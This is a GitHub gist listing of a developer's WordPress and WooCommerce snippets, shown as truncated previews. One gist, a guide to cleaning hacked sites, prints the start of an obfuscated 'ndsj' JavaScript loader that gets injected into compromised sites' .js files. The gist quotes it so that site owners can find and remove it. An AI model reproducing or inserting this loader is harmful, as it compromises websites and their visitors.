Skip to content

Instantly share code, notes, and snippets.

View Jany-M's full-sized avatar
🎯
Focusing

Jany Martelli Jany-M

🎯
Focusing
View GitHub Profile
@Jany-M
Jany-M / .htaccess
Last active March 27, 2024 12:14
[WP] htacces for best security & caching settings
####################################################
#
# MIMETYPES
#
####################################################
AddType video/mp4 mp4 m4v
AddType audio/mp4 m4a
AddType video/ogg ogv
@Jany-M
Jany-M / wp_ics.php
Last active September 19, 2023 03:15 — forked from jakebellacera/ICS.php
[WP] Generate a downloadable .ics file from any WordPress post or custom post type
<?php
/*
For a better understanding of ics requirements and time formats
please check https://gist.github.com/jakebellacera/635416
*/
// UTILS
// Check if string is a timestamp
@Jany-M
Jany-M / wc_dynamic_saleprice.php
Last active July 6, 2023 10:42
[WP][WooCommerce] Calculate sale price dynamically / programmatically based on taxonomy term custom field % (also works for Facebook Catalog feed)
<?php
// The discount is set through a term meta 'sale_value' associated to the product, so that product regular or sales prices never need to changed manually
// The script also assumes the use of ACF, through get_field()
// BACKEND (Product list, FB feed)
function custom_dynamic_sale_price( $sale_price, $product ) {
$id = $product->get_id();
$tax = get_the_terms($id,'product_cat');
$regular_price = wc_format_decimal( $product->get_price() );
@Jany-M
Jany-M / wp_common_hack_strings.js
Last active April 14, 2023 17:55
[WP] WordPress common Javascript hack strings
// Common JS strings injected in all core, themes and plugins .js files (at the very end) - Use String Locator plugin and replace with empty space and/or use Force Reinstall plugin to reinstall all plugins - Remember to reinstall WP core files too
// Look for these plugins and remove them: Core, Core Stub
// Look for these themes and remove them: Classic
// Want to dig deeper? https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/
// 1
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,Http
@Jany-M
Jany-M / rename_all_files_in_subdirectories.php
Last active July 20, 2022 08:57
[PHP] Rename files in directory subdirectories
<?php
/*------------------------------------------------------------------------------------------------
This specific case assumes the following structure. Please note the absence of file extensions.
MAIN_DIR
- xyz (dir)
-- abc123-jpg (file)
-- xyz456-png (file)
-- jkl123-jpg-300x300 (file)
-- oiu456-png-300x300 (file)
@Jany-M
Jany-M / WP_WC_auto-confirm-bookings.php
Last active June 29, 2022 10:52
[WordPress] [WooCommerce] [Bookings] Auto-Confirm Booking upon Order Complete
<?php
add_action( 'woocommerce_order_status_completed', 'mark_confirm_bookings', 20, 1 );
function mark_confirm_bookings( $order_id ) {
global $wpdb;
$order = new WC_Order( $order_id );
$bookings = array();
foreach ( $order->get_items() as $order_item_id => $item ) {
@Jany-M
Jany-M / WP_remove_product_name_woocommerce_breadcrumbs.php
Created November 30, 2015 12:54
[WordPress] Remove Product Name & URL from WooCommerce Breadcrumbs
<?php
// In your theme, make a new folder woocommerce/global/
// Add this function in a file called breadcrumbs.php, in that folder
// or integrate the existing function accordingly.
/**
* Shop breadcrumb
*
* @author WooThemes
* @package WooCommerce/Templates
@Jany-M
Jany-M / mu_loop.php
Last active January 19, 2022 22:00
[WP MU] Shortcode for custom loops between different blogs - For WordPress Multisite MU
<?php
// This is a work in progress, but it works fine
// Requires custom functions & libraries not present in the script (eg. Swiper)
// Adapted from my Visual Composer custom module (same purpose) https://gist.github.com/Jany-M/7a94e2edc04969dcded247ff99a15088
// Doesn't play well with WPML, for now
function shambix_shortcode_mu_posts($atts, $content = null ) {
// Let's compare parameters with defaults
@Jany-M
Jany-M / WP_merge_multiple_queries.php
Last active November 9, 2021 16:56
[WP] Merge Multiple Queries / Loops into one
<?php
// Check if values are cached, if not cache them
//delete_transient('home_slider_24h');
if(get_transient('home_slider_24h') === false) {
// RM Blog (post) query
$rm_blog_args = array(
'posts_per_page' => 1,
'cat' => 10,
@Jany-M
Jany-M / wp_weekly_cal.php
Created August 12, 2016 14:45
[WP] Custom WordPress weekly dynamic calendar, with custom post types, custom date fields and caching
<div id="calendar">
<?php
// Dates
$year = date('Y');
$first_month_this_year_ts = mktime(0, 0, 0, date("F", strtotime('first month of this year')) + 1, date('d'), date('Y')); // timestamp
$today = date("j F Y", strtotime('today')); // human date
$today_ts = strtotime('today'); // timestamp
$today_day_of_year = date("z", $today_ts);// int